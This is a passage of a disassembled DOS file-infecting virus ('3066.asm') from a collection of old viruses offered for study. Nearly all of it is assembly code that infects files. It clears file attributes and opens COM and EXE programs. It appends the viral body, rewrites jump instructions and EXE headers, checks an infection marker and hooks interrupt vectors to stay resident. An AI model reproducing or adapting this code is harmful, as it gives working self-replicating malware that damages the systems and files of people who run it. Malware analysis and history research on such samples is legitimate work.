3066.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

loc_ret_36:					;  xref 6FB8:0525
		retn
sub_3		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:038C, 03CD
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_4		proc	near
		push	dx
		mov	ah,19h
		int	21h			; DOS Services  ah=function 19h
						;  get default drive al  (0=a:)
		add	al,41h			; 'A'
		mov	ah,3Ah			; ':'
		mov	word ptr ds:[884h][si],ax	; (6FB8:0884=8489h)
		mov	byte ptr ds:[886h][si],5Ch	; (6FB8:0886=0EAh) '\'
		push	si
		add	si,offset ds:[887h]	; (6FB8:0887=0)
		mov	ah,47h			; 'G'
		mov	di,si
		xor	dl,dl			; Zero register
		int	21h			; DOS Services  ah=function 47h
						;  get present dir,drive dl,1=a:
		pop	si
		dec	di
loc_37:						;  xref 6FB8:055B
		inc	di
		mov	al,[di]
		or	al,al			; Zero ?
		jnz	loc_37			; Jump if not zero
		pop	bx
		mov	byte ptr [di],5Ch	; '\'
		inc	di
		mov	dx,bx
loc_38:						;  xref 6FB8:056C
		mov	al,[bx]
		mov	[di],al
		inc	bx
		inc	di
		or	al,al			; Zero ?
		jnz	loc_38			; Jump if not zero

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;
;         Called from:	 6FB8:097E

sub_5:
		mov	ax,4300h
		call	sub_1			; (0436)
		jc	loc_35			; Jump if carry Set
		mov	cs:data_42e[si],cx	; (6FB8:00E4=0)
		and	cx,0FEh
		mov	ax,4301h
		call	sub_1			; (0436)
		jc	loc_35			; Jump if carry Set
		mov	ax,3D02h
		call	sub_1			; (0436)
		jc	loc_35			; Jump if carry Set
		mov	bx,ax
		push	ds
		push	dx
		call	sub_6			; (05BD)
		pop	dx
		pop	ds
		pushf				; Push flags
		mov	cx,cs:data_42e[si]	; (6FB8:00E4=0)
		cmp	cx,20h
		je	loc_39			; Jump if equal
		mov	ax,4301h
		int	21h			; DOS Services  ah=function 43h
						;  get/set file attrb, nam@ds:dx
loc_39:						;  xref 6FB8:05A1
		mov	cx,cs:data_43e[si]	; (6FB8:00E6=0)
		mov	dx,cs:data_44e[si]	; (6FB8:00E8=0)
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
		mov	ah,3Eh			; '>'
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle
		popf				; Pop flags
		retn
sub_4		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:0593
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_6		proc	near
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get/set file date & time
		push	cs
		pop	ds
		mov	ds:data_43e[si],cx	; (6FB8:00E6=0)
		mov	ds:data_44e[si],dx	; (6FB8:00E8=0)
		mov	dx,si
		add	dx,0Dh
		mov	di,dx
		mov	ah,3Fh			; '?'
		mov	cx,1Ch
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		cmp	word ptr [di],5A4Dh
		je	loc_42			; Jump if equal
		call	sub_9			; (0764)
		add	ax,0CF5h
		jc	loc_ret_40		; Jump if carry Set
		cmp	byte ptr [di],0E9h
		jne	loc_41			; Jump if not equal
		mov	dx,[di+1]
		xor	cx,cx			; Zero register
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		mov	dx,di
		add	dx,1Ch
		mov	ah,3Fh			; '?'
		mov	cx,3
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		call	sub_7			; (06AB)
		jnc	loc_41			; Jump if carry=0
		mov	cs:data_58[si],1	; (6FB8:0155=0)

loc_ret_40:					;  xref 6FB8:05E6
		retn
loc_41:						;  xref 6FB8:05EB, 0606
		call	sub_9			; (0764)
		mov	word ptr ds:[880h][si],ax	; (6FB8:0880=687h)
		mov	word ptr ds:[882h][si],dx	; (6FB8:0882=90h)
		push	ax
		mov	word ptr [di+3],0FFFFh
		mov	cx,5
		mov	ah,40h			; '@'
		mov	dx,di
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		mov	dx,si
		add	dx,5
		mov	cx,0BF5h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		mov	byte ptr [di],0E9h
		pop	ax
		add	ax,0F7h
		mov	[di+1],ax
		mov	dx,di
		mov	cx,3
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		clc				; Clear carry flag
		retn
loc_42:						;  xref 6FB8:05DE
		cmp	word ptr [di+0Ch],0FFFFh
		jne	loc_43			; Jump if not equal
		push	si
		mov	si,[di+14h]
		mov	cx,[di+16h]
		mov	ax,cx
		mov	cl,ch
		xor	ch,ch			; Zero register
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shr	cx,1			; Shift w/zeros fill
		shl	ax,1			; Shift w/zeros fill
		shl	ax,1			; Shift w/zeros fill
		shl	ax,1			; Shift w/zeros fill
		shl	ax,1			; Shift w/zeros fill
		add	si,ax
		adc	cx,0
		sub	si,3
		sbb	cx,0
		mov	ax,[di+8]
		call	sub_8			; (0751)
		add	si,ax
		adc	cx,dx
		mov	dx,si
		pop	si
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		mov	dx,di
		add	dx,1Ch
		mov	ah,3Fh			; '?'
		mov	cx,3
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		call	sub_7			; (06AB)
		jnc	loc_46			; Jump if carry=0
		mov	cs:data_58[si],1	; (6FB8:0155=0)
		retn

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;
;         Called from:	 6FB8:0603, 069F

sub_7:
		cmp	word ptr [di+1Ch],4756h
		jne	loc_45			; Jump if not equal
		cmp	byte ptr [di+1Eh],31h	; '1'
		jne	loc_45			; Jump if not equal
loc_43:						;  xref 6FB8:0657
		stc				; Set carry flag

loc_ret_44:					;  xref 6FB8:06E0
		retn
loc_45:						;  xref 6FB8:06B0, 06B6
		clc				; Clear carry flag
		retn
loc_46:						;  xref 6FB8:06A2
		call	sub_9			; (0764)
		mov	word ptr ds:[880h][si],ax	; (6FB8:0880=687h)
		mov	word ptr ds:[882h][si],dx	; (6FB8:0882=90h)
		mov	cx,[di+4]
		shl	cx,1			; Shift w/zeros fill
		xchg	ch,cl
		mov	bp,cx
		and	bp,0FF00h
		xor	ch,ch			; Zero register
		add	bp,[di+6]
		adc	cx,0
		sub	bp,ax
		sbb	cx,dx
		jc	loc_ret_44		; Jump if carry Set
		push	ax
		push	dx
		push	word ptr [di+18h]
		mov	byte ptr [di+18h],0FFh
		mov	cx,5
		mov	ah,40h			; '@'
		mov	dx,di
		add	dx,14h
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		pop	word ptr [di+18h]
		mov	dx,si
		add	dx,5
		mov	cx,0BF5h
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		pop	word ptr [di+16h]
		pop	word ptr [di+14h]
		add	word ptr [di+14h],0FAh
		adc	word ptr [di+16h],0
		mov	ax,[di+8]
		call	sub_8			; (0751)
		sub	[di+14h],ax
		sbb	[di+16h],dx
		mov	cl,0Ch
		shl	word ptr [di+16h],cl	; Shift w/zeros fill
		mov	ax,0BFAh
		add	ax,[di+2]
		mov	[di+2],ax
		and	word ptr [di+2],1FFh
		mov	al,ah
		xor	ah,ah			; Zero register
		shr	ax,1			; Shift w/zeros fill
		add	[di+4],ax
		mov	dx,di
		mov	cx,1Ch
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		clc				; Clear carry flag
		retn
sub_6		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:0684, 0721
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_8		proc	near
		xor	dx,dx			; Zero register
		shl	ax,1			; Shift w/zeros fill
		rcl	dx,1			; Rotate thru carry
		shl	ax,1			; Shift w/zeros fill
		rcl	dx,1			; Rotate thru carry
		shl	ax,1			; Shift w/zeros fill
		rcl	dx,1			; Rotate thru carry
		shl	ax,1			; Shift w/zeros fill
		rcl	dx,1			; Rotate thru carry
		retn
sub_8		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:05E0, 060F, 06BC
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_9		proc	near
		xor	dx,dx			; Zero register
		xor	cx,cx			; Zero register
		mov	ax,4202h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, cx,dx=offset
		retn
sub_9		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:0263, 04B2
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_10		proc	near
		xor	ax,ax			; Zero register
		mov	ds,ax
		lds	di,dword ptr ds:data_11e	; (0000:009C=10BCh) Load 32 bit ptr
		lds	di,dword ptr [di+1]	; Load 32 bit ptr
		mov	ax,di
		sub	di,75Fh
		call	sub_11			; (07AB)
		jz	loc_ret_47		; Jump if zero
		mov	di,ax
		sub	di,755h
		call	sub_11			; (07AB)
		jz	loc_ret_47		; Jump if zero
		lds	di,dword ptr ds:data_27e	; (00AE:0080=4EFFh) Load 32 bit ptr
		lds	di,dword ptr [di+1]	; Load 32 bit ptr
		mov	ax,di
		sub	di,676h
		call	sub_11			; (07AB)
		jz	loc_ret_47		; Jump if zero
		mov	di,ax
		sub	di,673h
		call	sub_11			; (07AB)

loc_ret_47:					;  xref 6FB8:0782, 078D, 079F
		retn
sub_10		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:077F, 078A, 079C, 07A7
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_11		proc	near
		xor	dx,dx			; Zero register
		cmp	word ptr [di],4756h
		jne	loc_48			; Jump if not equal
		cmp	byte ptr [di+2],31h	; '1'
		je	loc_49			; Jump if equal
loc_48:						;  xref 6FB8:07B1
		inc	dx
loc_49:						;  xref 6FB8:07B7
		sub	di,0F7h
		or	dx,dx			; Zero ?
		retn
sub_11		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:07DE, 07E4, 07EA, 07F0, 0864, 086A, 0870
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_12		proc	near
		mov	al,0EAh
		stosb				; Store al to es:[di]
		mov	ax,cx
		add	ax,si
		stosw				; Store ax to es:[di]
		mov	ax,cs
		stosw				; Store ax to es:[di]

loc_ret_50:					;  xref 6FB8:07CF
		retn
sub_12		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:04F4
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_13		proc	near
		or	dx,dx			; Zero ?
		jz	loc_ret_50		; Jump if zero
		push	ds
		push	es
		mov	es,ds:data_39e[si]	; (6FB8:00E0=0)
		mov	di,data_46e		; (6FB8:00EC=0)
		cld				; Clear direction
		mov	cx,9A8h
		call	sub_12			; (07C1)
		mov	cx,76Ah
		call	sub_12			; (07C1)
		mov	cx,7BEh
		call	sub_12			; (07C1)
		mov	cx,84Ch
		call	sub_12			; (07C1)
		xor	ax,ax			; Zero register
		mov	ds,ax
		cli				; Disable interrupts
		mov	ax,0ECh
		xchg	ax,ds:data_3e		; (0000:0070=0FF53h)
		mov	word ptr cs:[0A88h][si],ax	; (6FB8:0A88=49A0h)
		mov	ax,es
		xchg	ax,ds:data_4e		; (0000:0072=0F000h)
		mov	word ptr cs:[0A8Ah][si],ax	; (6FB8:0A8A=0B904h)
		mov	ax,0F1h
		xchg	ax,ds:data_5e		; (0000:0080=1094h)
		mov	word ptr cs:[76Eh][si],ax	; (6FB8:076E=0C033h)
		mov	ax,es
		xchg	ax,ds:data_6e		; (0000:0082=123h)
		mov	word ptr cs:[770h][si],ax	; (6FB8:0770=0D88Eh)
		mov	ax,0F6h
		xchg	ax,ds:data_7e		; (0000:0084=109Eh)
		mov	word ptr cs:[7DCh][si],ax	; (6FB8:07DC=9A8h)
		mov	ax,es
		xchg	ax,ds:data_8e		; (0000:0086=123h)
		mov	word ptr cs:[7DEh][si],ax	; (6FB8:07DE=0E0E8h)
		mov	ax,0FBh
		xchg	ax,ds:data_11e		; (0000:009C=10BCh)
		mov	word ptr cs:[857h][si],ax	; (6FB8:0857=6C3h)
		mov	ax,es
		xchg	ax,word ptr ds:data_11e+2	; (0000:009E=123h)
		mov	word ptr cs:[859h][si],ax	; (6FB8:0859=848Eh)
		pop	es
		pop	ds
		sti				; Enable interrupts
		retn
sub_13		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:08F2
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_14		proc	near
		push	es
		mov	es,word ptr ds:[0E0h][si]	; (0000:00E0=10DAh)
		mov	di,data_21e		; (0000:00F1=10h)
		cld				; Clear direction
		mov	cx,76Dh
		call	sub_12			; (07C1)
		mov	cx,7E0h
		call	sub_12			; (07C1)
		mov	cx,856h
		call	sub_12			; (07C1)
		pop	es
		retn
sub_14		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:024A, 0938
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_15		proc	near
		push	es
		xor	ax,ax			; Zero register